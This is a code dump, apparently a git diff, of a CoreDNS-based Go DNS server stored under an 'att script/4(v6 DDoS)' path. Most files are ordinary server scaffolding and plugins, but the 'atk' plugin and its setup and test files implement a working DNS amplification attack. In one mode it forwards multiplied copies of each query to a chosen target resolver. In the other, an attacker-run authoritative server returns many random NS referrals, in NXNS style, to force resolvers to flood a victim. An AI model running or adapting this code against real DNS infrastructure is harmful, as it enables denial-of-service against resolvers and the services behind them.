golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
|
||||
golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc=
|
||||
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.12.0 h1:cfawfvKITfUsFCeJIHJrbSxpeu/E81khclypR0GVT50=
|
||||
golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA=
|
||||
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
|
||||
golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.11.0 h1:LAntKIrcmeSKERyiOh0XMV39LXS8IE9UL2yP7+f5ij4=
|
||||
golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
|
||||
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.11.0 h1:EMCa6U9S2LtZXLAMoWiR/R8dAQFRqbAitmbJ2UKhoi8=
|
||||
golang.org/x/tools v0.11.0/go.mod h1:anzJrxPjNtfgiYQYirP2CPGzGLxrH2u2QBhn6Bf3qY8=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 h1:DdoeryqhaXp1LtT/emMP1BRJPHHKFi5akj/nbx/zNTA=
|
||||
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s=
|
||||
google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag=
|
||||
google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8=
|
||||
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
|
||||
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
|
||||
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
|
||||
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
|
||||
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
|
||||
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
||||
google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
|
||||
google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
187
att script/4(v6 DDoS)/code/辅助权威服务器/ohmain/run.go
Normal file
187
att script/4(v6 DDoS)/code/辅助权威服务器/ohmain/run.go
Normal file
@@ -0,0 +1,187 @@
|
||||
package ohmain
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"ohmydns2/core/dnsserver"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
)
|
||||
|
||||
func init() {
|
||||
caddy.DefaultConfigFile = "Ohmyfile"
|
||||
caddy.Quiet = true // don't show init stuff from caddy
|
||||
setVersion()
|
||||
|
||||
flag.StringVar(&conf, "conf", "", "Ohmyfile to load (default \""+caddy.DefaultConfigFile+"\")")
|
||||
flag.BoolVar(&plugins, "plugins", false, "List installed plugins")
|
||||
flag.StringVar(&caddy.PidFile, "pidfile", "", "Path to write pid file")
|
||||
flag.BoolVar(&version, "version", false, "Show version")
|
||||
flag.BoolVar(&dnsserver.Quiet, "quiet", false, "Quiet mode (no initialization output)")
|
||||
|
||||
caddy.RegisterCaddyfileLoader("flag", caddy.LoaderFunc(confLoader))
|
||||
caddy.SetDefaultCaddyfileLoader("default", caddy.LoaderFunc(defaultLoader))
|
||||
|
||||
//flag.StringVar(&prober.Port, serverType+".port", prober.DefaultPort, "Default port")
|
||||
//flag.StringVar(&prober.Port, "p", prober.DefaultPort, "Default port")
|
||||
|
||||
caddy.AppName = ohmyName
|
||||
caddy.AppVersion = OMVersion
|
||||
}
|
||||
|
||||
// ohmydns主函数
|
||||
func Run() {
|
||||
caddy.TrapSignals()
|
||||
flag.Parse()
|
||||
|
||||
if len(flag.Args()) > 0 {
|
||||
mustLogFatal(fmt.Errorf("extra command line arguments: %s", flag.Args()))
|
||||
}
|
||||
|
||||
log.SetOutput(os.Stdout)
|
||||
log.SetFlags(0) // Set to 0 because we're doing our own time, with timezone
|
||||
|
||||
if version {
|
||||
showVersion()
|
||||
os.Exit(0)
|
||||
}
|
||||
if plugins {
|
||||
fmt.Println(caddy.DescribePlugins())
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
// Get Ohmyfile input
|
||||
ohmyfile, err := caddy.LoadCaddyfile(serverType)
|
||||
if err != nil {
|
||||
mustLogFatal(err)
|
||||
}
|
||||
|
||||
// Start your engines
|
||||
instance, err := caddy.Start(ohmyfile)
|
||||
if err != nil {
|
||||
mustLogFatal(err)
|
||||
}
|
||||
|
||||
if !dnsserver.Quiet {
|
||||
showVersion()
|
||||
}
|
||||
|
||||
// Twiddle your thumbs
|
||||
instance.Wait()
|
||||
}
|
||||
|
||||
// mustLogFatal wraps log.Fatal() in a way that ensures the
|
||||
// output is always printed to stderr so the user can see it
|
||||
// if the user is still there, even if the process log was not
|
||||
// enabled. If this process is an upgrade, however, and the user
|
||||
// might not be there anymore, this just logs to the process
|
||||
// log and exits.
|
||||
func mustLogFatal(args ...interface{}) {
|
||||
if !caddy.IsUpgrade() {
|
||||
log.SetOutput(os.Stderr)
|
||||
}
|
||||
log.Fatal(args...)
|
||||
}
|
||||
|
||||
// confLoader loads the Caddyfile using the -conf flag.
|
||||
func confLoader(serverType string) (caddy.Input, error) {
|
||||
if conf == "" {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
if conf == "stdin" {
|
||||
return caddy.CaddyfileFromPipe(os.Stdin, serverType)
|
||||
}
|
||||
|
||||
contents, err := os.ReadFile(filepath.Clean(conf))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return caddy.CaddyfileInput{
|
||||
Contents: contents,
|
||||
Filepath: conf,
|
||||
ServerTypeName: serverType,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// defaultLoader loads the Corefile from the current working directory.
|
||||
func defaultLoader(serverType string) (caddy.Input, error) {
|
||||
contents, err := os.ReadFile(caddy.DefaultConfigFile)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil, nil
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
return caddy.CaddyfileInput{
|
||||
Contents: contents,
|
||||
Filepath: caddy.DefaultConfigFile,
|
||||
ServerTypeName: serverType,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// showVersion prints the version that is starting.
|
||||
func showVersion() {
|
||||
fmt.Print(versionString())
|
||||
fmt.Print(releaseString())
|
||||
if devBuild && gitShortStat != "" {
|
||||
fmt.Printf("%s\n%s\n", gitShortStat, gitFilesModified)
|
||||
}
|
||||
}
|
||||
|
||||
// versionString returns the CoreDNS version as a string.
|
||||
func versionString() string {
|
||||
return fmt.Sprintf("%s-%s\n", caddy.AppName, caddy.AppVersion)
|
||||
}
|
||||
|
||||
// releaseString returns the release information related to CoreDNS version:
|
||||
// <OS>/<ARCH>, <go version>, <commit>
|
||||
// e.g.,
|
||||
// linux/amd64, go1.8.3, a6d2d7b5
|
||||
func releaseString() string {
|
||||
return fmt.Sprintf("%s/%s, %s\n", runtime.GOOS, runtime.GOARCH, runtime.Version())
|
||||
}
|
||||
|
||||
// setVersion figures out the version information
|
||||
// based on variables set by -ldflags.
|
||||
func setVersion() {
|
||||
// A development build is one that's not at a tag or has uncommitted changes
|
||||
devBuild = gitTag == "" || gitShortStat != ""
|
||||
|
||||
// Only set the appVersion if -ldflags was used
|
||||
if gitNearestTag != "" || gitTag != "" {
|
||||
if devBuild && gitNearestTag != "" {
|
||||
appVersion = fmt.Sprintf("%s (+%s %s)", strings.TrimPrefix(gitNearestTag, "v"), GitCommit, buildDate)
|
||||
} else if gitTag != "" {
|
||||
appVersion = strings.TrimPrefix(gitTag, "v")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Flags that control program flow or startup
|
||||
var (
|
||||
conf string
|
||||
version bool
|
||||
plugins bool
|
||||
)
|
||||
|
||||
// Build information obtained with the help of -ldflags
|
||||
var (
|
||||
// nolint
|
||||
appVersion = "(untracked dev build)" // inferred at startup
|
||||
devBuild = true // inferred at startup
|
||||
|
||||
buildDate string // date -u
|
||||
gitTag string // git describe --exact-match HEAD 2> /dev/null
|
||||
gitNearestTag string // git describe --abbrev=0 --tags HEAD
|
||||
gitShortStat string // git diff-index --shortstat
|
||||
gitFilesModified string // git diff-index --name-only HEAD
|
||||
|
||||
// Gitcommit contains the commit where we built CoreDNS from.
|
||||
GitCommit string
|
||||
)
|
||||
7
att script/4(v6 DDoS)/code/辅助权威服务器/ohmain/version.go
Normal file
7
att script/4(v6 DDoS)/code/辅助权威服务器/ohmain/version.go
Normal file
@@ -0,0 +1,7 @@
|
||||
package ohmain
|
||||
|
||||
const (
|
||||
OMVersion = "2.0.0"
|
||||
ohmyName = "OhmyDNS"
|
||||
serverType = "dns"
|
||||
)
|
||||
12
att script/4(v6 DDoS)/code/辅助权威服务器/ohmydns.go
Normal file
12
att script/4(v6 DDoS)/code/辅助权威服务器/ohmydns.go
Normal file
@@ -0,0 +1,12 @@
|
||||
package main
|
||||
|
||||
//go:generate go run plugin_gen.go
|
||||
|
||||
import (
|
||||
_ "ohmydns2/core/plug"
|
||||
"ohmydns2/ohmain"
|
||||
)
|
||||
|
||||
func main() {
|
||||
ohmain.Run()
|
||||
}
|
||||
9
att script/4(v6 DDoS)/code/辅助权威服务器/plugin.cfg
Normal file
9
att script/4(v6 DDoS)/code/辅助权威服务器/plugin.cfg
Normal file
@@ -0,0 +1,9 @@
|
||||
log:log
|
||||
dnstap:dnstap
|
||||
debug:debug
|
||||
prometheus:prometheus
|
||||
forward:forward
|
||||
metadata:metadata
|
||||
whoami:whoami
|
||||
qname:qname
|
||||
atk:atk
|
||||
127
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atk.go
Normal file
127
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atk.go
Normal file
@@ -0,0 +1,127 @@
|
||||
package atk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/miekg/dns"
|
||||
"github.com/thanhpk/randstr"
|
||||
"net"
|
||||
"ohmydns2/plugin/pkg/proxy"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type Atk struct {
|
||||
proxies []*proxy.Proxy
|
||||
serveType string
|
||||
magni int
|
||||
zoneip4 string
|
||||
zoneip6 string
|
||||
ip6NS string
|
||||
ip4NS string
|
||||
ip6Addr string
|
||||
ip4Addr string
|
||||
target string
|
||||
}
|
||||
|
||||
func (a Atk) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
|
||||
state := request.Request{W: w, Req: r}
|
||||
// 转发器模式
|
||||
if a.serveType == "fdns" {
|
||||
opt := proxy.Options{ForceTCP: false, PreferUDP: true, HCRecursionDesired: true, HCDomain: "."}
|
||||
for i := a.magni; i > 0; i-- {
|
||||
// 向上游发送查询请求
|
||||
go func() {
|
||||
_, _ = a.proxies[0].Connect(ctx, state, opt)
|
||||
}()
|
||||
}
|
||||
return 0, nil
|
||||
} else {
|
||||
//权威模式
|
||||
msg := new(dns.Msg)
|
||||
msg.SetReply(r)
|
||||
msg.Authoritative = true
|
||||
// 应对0x20
|
||||
qname := strings.ToLower(state.QName())
|
||||
// 请求的源地址
|
||||
switch a.validRequest(qname) {
|
||||
case 0:
|
||||
// 放大
|
||||
log.Infof("%v 查询 %v, 准备放大", state.IP(), state.Name())
|
||||
msg = a.Response(msg, 0)
|
||||
|
||||
case 1:
|
||||
//观察
|
||||
log.Infof("%v 接收到请求: %v ask %v", a.ip6NS, state.IP(), state.Name())
|
||||
msg = a.Response(msg, 1)
|
||||
case -1:
|
||||
log.Infof("%v 接收到被修改的请求(QnameMini): %v ask %v", a.ip6NS, state.IP(), state.Name())
|
||||
msg = a.Response(msg, -1)
|
||||
case 2:
|
||||
//其他请求不响应
|
||||
log.Infof("%v 意外查询 %v", state.IP(), state.Name())
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
err := w.WriteMsg(msg)
|
||||
if err != nil {
|
||||
log.Info(err.Error())
|
||||
return dns.RcodeServerFailure, err
|
||||
}
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (a Atk) Name() string {
|
||||
return "atk"
|
||||
}
|
||||
|
||||
func (a Atk) Response(msg *dns.Msg, iptype int) *dns.Msg {
|
||||
if iptype == 0 { // 一级放大
|
||||
for i := 0; i < a.magni; i++ {
|
||||
rec := new(dns.NS)
|
||||
rec.Hdr = dns.RR_Header{Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
|
||||
rec.Hdr.Name = msg.Question[0].Name
|
||||
ns := strings.ToLower(randstr.String(10)) + "." + a.zoneip6
|
||||
log.Infof("生成NS: %v", ns)
|
||||
rec.Ns = ns
|
||||
msg.Ns = append(msg.Ns, rec)
|
||||
}
|
||||
} else if iptype == 1 { // 二级放大
|
||||
for i := 0; i < a.magni; i++ {
|
||||
rec := new(dns.NS)
|
||||
rec.Hdr = dns.RR_Header{Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
|
||||
rec.Hdr.Name = msg.Question[0].Name
|
||||
ns := strings.ToLower(randstr.String(10)) + "." + a.zoneip4
|
||||
log.Infof("生成NS: %v", ns)
|
||||
rec.Ns = ns
|
||||
msg.Ns = append(msg.Ns, rec)
|
||||
}
|
||||
} else if iptype == 2 {
|
||||
//返回NXNS
|
||||
msg.Rcode = dns.RcodeNameError
|
||||
//授权记录
|
||||
rec := new(dns.NS)
|
||||
rec.Hdr = dns.RR_Header{Name: a.zoneip6, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
|
||||
rec.Ns = a.ip6NS
|
||||
msg.Ns = append(msg.Ns, rec)
|
||||
//胶水记录
|
||||
recaddr := new(dns.AAAA)
|
||||
recaddr.Hdr = dns.RR_Header{Name: a.ip6NS, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeAAAA}
|
||||
recaddr.AAAA = net.ParseIP(a.ip6Addr)
|
||||
msg.Extra = append(msg.Extra, recaddr)
|
||||
} else {
|
||||
// 特殊请求,返回权威信息
|
||||
//授权记录
|
||||
rec := new(dns.NS)
|
||||
rec.Hdr = dns.RR_Header{Name: a.zoneip6, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
|
||||
rec.Ns = a.ip6NS
|
||||
msg.Ns = append(msg.Ns, rec)
|
||||
//胶水记录
|
||||
recaddr := new(dns.AAAA)
|
||||
recaddr.Hdr = dns.RR_Header{Name: a.ip6NS, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeAAAA}
|
||||
recaddr.AAAA = net.ParseIP(a.ip6Addr)
|
||||
msg.Extra = append(msg.Extra, recaddr)
|
||||
}
|
||||
return msg
|
||||
}
|
||||
23
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atkutil.go
Normal file
23
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atkutil.go
Normal file
@@ -0,0 +1,23 @@
|
||||
package atk
|
||||
|
||||
import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (a Atk) validRequest(qname string) int {
|
||||
//判断是否为第一阶段目标域名(放大)
|
||||
if strings.Contains(qname, a.zoneip4) {
|
||||
if len(strings.Split(qname, ".")) == 5 {
|
||||
//需要放大
|
||||
return 0
|
||||
}
|
||||
// 请求被修改,返回权威信息
|
||||
return -1
|
||||
}
|
||||
if strings.Contains(qname, a.zoneip6) {
|
||||
//需要放大
|
||||
return 1
|
||||
}
|
||||
// 均不满足,返回权威信息
|
||||
return 2
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package atk
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestAtk_validRequest(t *testing.T) {
|
||||
type fields struct {
|
||||
magni int
|
||||
zoneip4 string
|
||||
zoneip6 string
|
||||
ip6NS string
|
||||
ip4NS string
|
||||
ip6Addr string
|
||||
ip4Addr string
|
||||
}
|
||||
type args struct {
|
||||
qname string
|
||||
}
|
||||
tests := []struct {
|
||||
name string
|
||||
fields fields
|
||||
args args
|
||||
want int
|
||||
}{
|
||||
{name: "test1",
|
||||
fields: fields{
|
||||
magni: 10,
|
||||
zoneip4: "comm.n64.top",
|
||||
zoneip6: "v6.atk.top",
|
||||
ip6NS: "ns.n64.top",
|
||||
ip6Addr: "fe80::",
|
||||
ip4Addr: "1.2.3.4",
|
||||
},
|
||||
args: args{
|
||||
qname: "comm.n64.top",
|
||||
},
|
||||
want: 0,
|
||||
},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
a := Atk{
|
||||
magni: tt.fields.magni,
|
||||
zoneip4: tt.fields.zoneip4,
|
||||
zoneip6: tt.fields.zoneip6,
|
||||
ip6NS: tt.fields.ip6NS,
|
||||
ip4NS: tt.fields.ip4NS,
|
||||
ip6Addr: tt.fields.ip6Addr,
|
||||
ip4Addr: tt.fields.ip4Addr,
|
||||
}
|
||||
if got := a.validRequest(tt.args.qname); got != tt.want {
|
||||
t.Errorf("validRequest() = %v, want %v", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
49
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/setup.go
Normal file
49
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/setup.go
Normal file
@@ -0,0 +1,49 @@
|
||||
package atk
|
||||
|
||||
import (
|
||||
"github.com/coredns/caddy"
|
||||
"ohmydns2/core/dnsserver"
|
||||
"ohmydns2/plugin"
|
||||
log2 "ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/proxy"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() { plugin.Register("atk", setup) }
|
||||
|
||||
func setup(c *caddy.Controller) error {
|
||||
atk := new(Atk)
|
||||
c.Next()
|
||||
// domain1 domain2 factor
|
||||
args := c.RemainingArgs()
|
||||
// fdns or adns
|
||||
atk.serveType = args[0]
|
||||
if atk.serveType == "fdns" {
|
||||
atk.target = args[1]
|
||||
p := proxy.NewProxy(atk.target+":53", "dns")
|
||||
|
||||
// 开启代理连接管理
|
||||
dur, _ := time.ParseDuration("10s")
|
||||
p.Start(dur)
|
||||
atk.proxies = append(atk.proxies, p)
|
||||
atk.magni, _ = strconv.Atoi(args[2])
|
||||
|
||||
} else {
|
||||
atk.zoneip4 = args[1]
|
||||
atk.ip4NS = args[2]
|
||||
atk.ip4Addr = args[3]
|
||||
atk.zoneip6 = args[4]
|
||||
atk.ip6NS = args[5]
|
||||
atk.ip6Addr = args[6]
|
||||
atk.magni, _ = strconv.Atoi(args[7])
|
||||
}
|
||||
|
||||
dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
|
||||
return atk
|
||||
})
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
var log = log2.NewWithPlugin("atk")
|
||||
23
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/debug/debug.go
Normal file
23
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/debug/debug.go
Normal file
@@ -0,0 +1,23 @@
|
||||
package debug
|
||||
|
||||
import (
|
||||
"ohmydns2/core/dnsserver"
|
||||
"ohmydns2/plugin"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
)
|
||||
|
||||
func init() { plugin.Register("debug", setup) }
|
||||
|
||||
func setup(c *caddy.Controller) error {
|
||||
config := dnsserver.GetConfig(c)
|
||||
|
||||
for c.Next() {
|
||||
if c.NextArg() {
|
||||
return plugin.Error("debug", c.ArgErr())
|
||||
}
|
||||
config.Debug = true
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
71
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/debug/pcap.go
Normal file
71
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/debug/pcap.go
Normal file
@@ -0,0 +1,71 @@
|
||||
package debug
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"ohmydns2/plugin/pkg/log"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// Hexdump converts the dns message m to a hex dump Wireshark can import.
|
||||
// See https://www.wireshark.org/docs/man-pages/text2pcap.html.
|
||||
// This output looks like this:
|
||||
//
|
||||
// 00000 dc bd 01 00 00 01 00 00 00 00 00 01 07 65 78 61
|
||||
// 000010 6d 70 6c 65 05 6c 6f 63 61 6c 00 00 01 00 01 00
|
||||
// 000020 00 29 10 00 00 00 80 00 00 00
|
||||
// 00002a
|
||||
//
|
||||
// Hexdump will use log.Debug to write the dump to the log, each line
|
||||
// is prefixed with 'debug: ' so the data can be easily extracted.
|
||||
//
|
||||
// msg will prefix the pcap dump.
|
||||
func Hexdump(m *dns.Msg, v ...interface{}) {
|
||||
if !log.D.Value() {
|
||||
return
|
||||
}
|
||||
|
||||
buf, _ := m.Pack()
|
||||
if len(buf) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
out := "\n" + string(hexdump(buf))
|
||||
v = append(v, out)
|
||||
log.Debug(v...)
|
||||
}
|
||||
|
||||
// Hexdumpf dumps a DNS message as Hexdump, but allows a format string.
|
||||
func Hexdumpf(m *dns.Msg, format string, v ...interface{}) {
|
||||
if !log.D.Value() {
|
||||
return
|
||||
}
|
||||
|
||||
buf, _ := m.Pack()
|
||||
if len(buf) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
format += "\n%s"
|
||||
v = append(v, hexdump(buf))
|
||||
log.Debugf(format, v...)
|
||||
}
|
||||
|
||||
func hexdump(data []byte) []byte {
|
||||
b := new(bytes.Buffer)
|
||||
|
||||
newline := ""
|
||||
for i := 0; i < len(data); i++ {
|
||||
if i%16 == 0 {
|
||||
fmt.Fprintf(b, "%s%s%06x", newline, prefix, i)
|
||||
newline = "\n"
|
||||
}
|
||||
fmt.Fprintf(b, " %02x", data[i])
|
||||
}
|
||||
fmt.Fprintf(b, "\n%s%06x", prefix, len(data))
|
||||
|
||||
return b.Bytes()
|
||||
}
|
||||
|
||||
const prefix = "debug: "
|
||||
60
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/dnstap.go
Normal file
60
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/dnstap.go
Normal file
@@ -0,0 +1,60 @@
|
||||
package dnstap
|
||||
|
||||
import (
|
||||
"context"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/dnstap/msg"
|
||||
"time"
|
||||
|
||||
tap "github.com/dnstap/golang-dnstap"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// Dnstap is the dnstap handler.
|
||||
type Dnstap struct {
|
||||
Next plugin.Handler
|
||||
io tapper
|
||||
|
||||
// IncludeRawMessage will include the raw DNS message into the dnstap messages if true.
|
||||
IncludeRawMessage bool
|
||||
Identity []byte
|
||||
Version []byte
|
||||
}
|
||||
|
||||
// TapMessage sends the message m to the dnstap interface.
|
||||
func (h Dnstap) TapMessage(m *tap.Message) {
|
||||
t := tap.Dnstap_MESSAGE
|
||||
h.io.Dnstap(&tap.Dnstap{Type: &t, Message: m, Identity: h.Identity, Version: h.Version})
|
||||
}
|
||||
|
||||
func (h Dnstap) tapQuery(w dns.ResponseWriter, query *dns.Msg, queryTime time.Time) {
|
||||
q := new(tap.Message)
|
||||
msg.SetQueryTime(q, queryTime)
|
||||
msg.SetQueryAddress(q, w.RemoteAddr())
|
||||
|
||||
if h.IncludeRawMessage {
|
||||
buf, _ := query.Pack()
|
||||
q.QueryMessage = buf
|
||||
}
|
||||
msg.SetType(q, tap.Message_CLIENT_QUERY)
|
||||
h.TapMessage(q)
|
||||
}
|
||||
|
||||
// ServeDNS logs the client query and response to dnstap and passes the dnstap Context.
|
||||
func (h Dnstap) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
|
||||
rw := &ResponseWriter{
|
||||
ResponseWriter: w,
|
||||
Dnstap: h,
|
||||
query: r,
|
||||
queryTime: time.Now(),
|
||||
}
|
||||
|
||||
// The query tap message should be sent before sending the query to the
|
||||
// forwarder. Otherwise, the tap messages will come out out of order.
|
||||
h.tapQuery(w, r, rw.queryTime)
|
||||
|
||||
return plugin.NextOrFailure(h.Name(), h.Next, ctx, rw, r)
|
||||
}
|
||||
|
||||
// Name implements the plugin.Plugin interface.
|
||||
func (h Dnstap) Name() string { return "dnstap" }
|
||||
40
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/encoder.go
Normal file
40
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/encoder.go
Normal file
@@ -0,0 +1,40 @@
|
||||
package dnstap
|
||||
|
||||
import (
|
||||
"io"
|
||||
"time"
|
||||
|
||||
tap "github.com/dnstap/golang-dnstap"
|
||||
fs "github.com/farsightsec/golang-framestream"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// encoder wraps a golang-framestream.Encoder.
|
||||
type encoder struct {
|
||||
fs *fs.Encoder
|
||||
}
|
||||
|
||||
